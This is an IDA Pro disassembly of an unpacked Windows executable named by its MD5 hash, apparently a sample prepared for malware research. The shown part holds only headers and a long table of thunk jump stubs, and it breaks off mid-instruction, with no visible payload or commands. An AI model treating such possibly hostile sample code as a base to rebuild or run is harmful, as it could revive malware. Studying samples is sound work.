; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A3AEFDB8372A8720B3B119B29007275E ; File Name : u:\work\a3aefdb8372a8720b3b119b29007275e_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_42F630 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43E09Co jmp loc_412CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421AF0+29p jmp sub_422050 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_431250 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004118E3p jmp sub_411910 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B1BDp ; ___:0040B1CAp ... jmp sub_403C00 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B000 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C70+619p ; sub_404C70+6D8p ... jmp sub_40A030 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42A100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_413510+3Bp ; ___:00414B30p jmp sub_4155E0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_42F840+6Ep ; sub_42F840+8Ap ... jmp sub_432FE0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:0042EF22p ; sub_42F840+3Fp ... jmp sub_432E60 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423940 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D130 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B000+3Ap ; sub_40B070+1Ap jmp sub_432980 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421C30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C0C0+8p jmp sub_40C280 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_431900+5Ap ; sub_433710+50p jmp sub_4318C0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43E07Co jmp sub_41C610 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416EAAp jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40BF60+32p jmp sub_40C120 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416EBAp jmp sub_418290 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415830+5Ep ; sub_416280+32p jmp sub_4161C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4223E0+3p jmp sub_421A50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ACE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421C30+3p ; ___:00421FFFp ... jmp sub_422170 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C400+43p jmp sub_40CAD0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_427FF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_407570+Ap jmp sub_407610 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p ; sub_424790+6p ... jmp sub_424500 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p ; sub_430C00+14Fp jmp sub_432DF0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p jmp sub_430990 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043E174o jmp sub_429DC0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43E0A0o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418330+D0p ; sub_418490+2Dp jmp sub_418A20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p ; sub_40FF60+990p ... jmp sub_411860 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:0042F336p ; ___:0042F3A4p ... jmp sub_430F00 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421D50+9p ; sub_422240+18p jmp sub_4223C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p ; sub_40A9F0+82p ... jmp sub_40ABE0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p ; ___:00423AA6p ... jmp sub_419AE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416010+7p jmp sub_416640 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415520+4Fp ; sub_415E70+11p ... jmp sub_4160C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_429C30+58p jmp sub_429AA0 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp jmp sub_421CB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_421FB0+11p ; ___:00421FD7p ... jmp sub_4224D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413D60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421A30+3p ; ___:00421D9Fp ... jmp sub_421F10 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_414400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_426F20+3p jmp sub_426F50 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415A00+11p ; ___:00415A27p ... jmp sub_416470 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_433310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421B60+5p ; sub_421C50+6p ... jmp sub_422150 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416A5Bp ; ___:00439F5Ej ... jmp sub_417A60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C70+6Ap ; sub_404C70+1AFp ... jmp sub_412970 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43E074o jmp sub_4192C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_431A20+6p ; ___:00431A33p ... jmp sub_42F480 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42E3D0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43E15Co jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423C9Dp jmp sub_423760 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_431F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:004150A8p jmp sub_415990 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41B950+F7p ; sub_41B950+10Bp ... jmp sub_409EA0 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_409910+Ap jmp sub_409A00 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4133D0+55p ; sub_4133D0+94p ... jmp sub_415770 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425020+183p jmp sub_4235F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414BBEp jmp sub_415520 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_427600+3p jmp sub_427630 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43E038o jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415DD0+11p ; ___:00415DF7p ... jmp sub_4165F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418B10+23p ; sub_418D80+11p jmp sub_418E60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A90+3p ; sub_418E90+54p ... jmp sub_418CE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_409600+6Ap ; sub_409600+103p jmp sub_4098A0 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_432840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413D7Dp jmp sub_413B70 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A1E4p jmp sub_41AFE0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4133D0+88p ; sub_4147D0+BFp ... jmp sub_415930 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_42F480+7p ; sub_42F4F0+19p ... jmp sub_4338B0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DB10 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:004310AAp jmp sub_430A50 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_4071E0+11p ; sub_407370+1Fp jmp sub_407410 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p ; sub_4036D0+3C5p ... jmp sub_403E00 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421C10+3p jmp sub_422190 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C250+Ap jmp sub_40C310 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp ; sub_407030+1Fp ... jmp sub_403C70 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413274p ; ___:0043998Cj ... jmp sub_4153B0 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42B350+3p jmp sub_42B380 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AF00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414BCDp jmp sub_414C70 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407610+7p ; sub_409A00+7p ... jmp sub_407640 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_413510+73p ; ___:00414B6Dp ... jmp sub_415600 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413DA0+84p jmp sub_4137E0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00432428p jmp sub_42FD70 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p jmp sub_4075A0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp ; sub_404C70+230p ... jmp sub_40A430 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A790+21p ; sub_40A9F0+A5p jmp sub_40A9D0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40AF70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A430+129p ; sub_40A810+4p ... jmp sub_40A7E0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo jmp sub_426650 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004322BDp jmp sub_42FA70 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_4072F0+3p ; ___:004073BFp ... jmp sub_407480 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421870 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421AB0+11p ; sub_421FB0+1Fp jmp sub_4220E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42B4F0+3p jmp sub_42B520 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_407790 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C120+5Fp jmp sub_40C2F0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_4034E0+F6p ; sub_4034E0+12Ep ... jmp sub_409C30 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421A30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043E060o jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416AFBp ; ___:00439ED2j ... jmp sub_4176B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp jmp sub_42FF50 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418B10+32p jmp sub_418D80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_433570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415420+5p ; sub_415620+6p ... jmp sub_416030 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BCB0+29p ; sub_40BDD0+29p jmp sub_40BF60 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043B1ABj jmp sub_421AF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4144D0+BFp jmp sub_415210 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4164E0+Ap jmp sub_416820 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416B67p ; ___:00439E73j ... jmp sub_416FB0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418330 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416E1Fp jmp sub_417FD0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414690 ; --------------------------------------------------------------------------- jmp loc_42F030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FF60+387p ; sub_41EF30+21Dp ... jmp sub_41B6E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E5Ap jmp sub_418180 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409490+8p jmp sub_4094E0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_409600+A5p ; sub_412BC0+21p jmp sub_409810 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C70+385p ; sub_41D830+5AAp jmp sub_41C030 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D6Fp jmp sub_4036D0 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p ; sub_418E90+11p jmp sub_418FE0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424840+Cp ; sub_424840+3Ep ... jmp sub_424330 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_42F670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C70+860p ; sub_404C70+ADCp ... jmp sub_40A290 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042EB16p ; ___:0042EB66p ... jmp sub_431490 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421C80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_426A60+107o jmp sub_426CE0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424720+18p ; sub_424760+Ap ... jmp sub_4246D0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416120+9p ; sub_4161C0+18p jmp sub_4167D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_431280+32o jmp sub_431A80 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42EB60 ; --------------------------------------------------------------------------- jmp loc_419BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_429AA0+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p ; sub_42F0B0+2p ... jmp sub_430270 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp ; sub_4144D0+40p ... jmp sub_415160 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404640+19Fp ; sub_404640+212p ... jmp sub_409EF0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p ; sub_424E90+F1p jmp sub_424E20 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425020+127p jmp sub_424E90 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416E3Ap jmp sub_418080 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416E0Fp jmp sub_417F10 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4303D0+1p jmp sub_430460 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00425F11p jmp sub_426450 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418330+71p ; sub_418330+BBp ... jmp sub_4189F0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A0A0+7p jmp sub_40A0C0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004316D8p ; sub_431730+2Bp jmp sub_431900 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_431280+1p jmp sub_4314C0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421BD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414360+5Bp jmp sub_415030 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_4153B0+29p ; sub_4154D0+29p jmp sub_415F30 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00435F42p ; ___:00435F52p ... jmp sub_435E00 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp ; sub_4133D0+9Ep ... jmp sub_415960 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B520+62p ; ___:0040B9E8p ... jmp sub_40BE60 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4300C0 ; --------------------------------------------------------------------------- jmp loc_42EC40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; DATA XREF: ___:0043E1A8o jmp sub_42B3A0 sub_40134D endp ; --------------------------------------------------------------------------- jmp loc_42B2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416090+8p jmp sub_4166B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4133D0+71p ; sub_4133D0:loc_41349Cp ... jmp sub_415910 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418330+AFp ; sub_418FE0+3p jmp sub_418AB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043E104o jmp sub_426A60 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B520+39p ; sub_40B520+78p ... jmp sub_40BE90 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_4257A0+29p ; sub_4257A0+38p jmp sub_4256B0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A500+1Cp jmp sub_41A540 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043E164o jmp sub_429C30 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408BD9p ; ___:00414481p jmp sub_414230 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418490+72p jmp sub_406C30 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409D20+7p ; sub_409E70+7p ... jmp sub_40A700 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43E080o jmp sub_422A40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413AE0 ; --------------------------------------------------------------------------- jmp sub_42B350 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418900+11p ; sub_421CB0+1Fp jmp sub_418C50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B2D0 loc_4013A2: ; CODE XREF: sub_42B2D0+3j jmp sub_42A810 ; END OF FUNCTION CHUNK FOR sub_42B2D0 ; --------------------------------------------------------------------------- jmp sub_42B4F0 ; --------------------------------------------------------------------------- jmp loc_42EBB0 ; --------------------------------------------------------------------------- jmp loc_414A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp jmp sub_407370 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_42E7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p ; ___:00416AEBp ... jmp sub_40FDA0 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_425270+Cp ; sub_4253E0+Ap ... jmp sub_425230 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40D2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_40A8C0+20p jmp sub_40A9F0 sub_4013CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_40FF60+AFDp ; sub_40FF60+E71p ... jmp 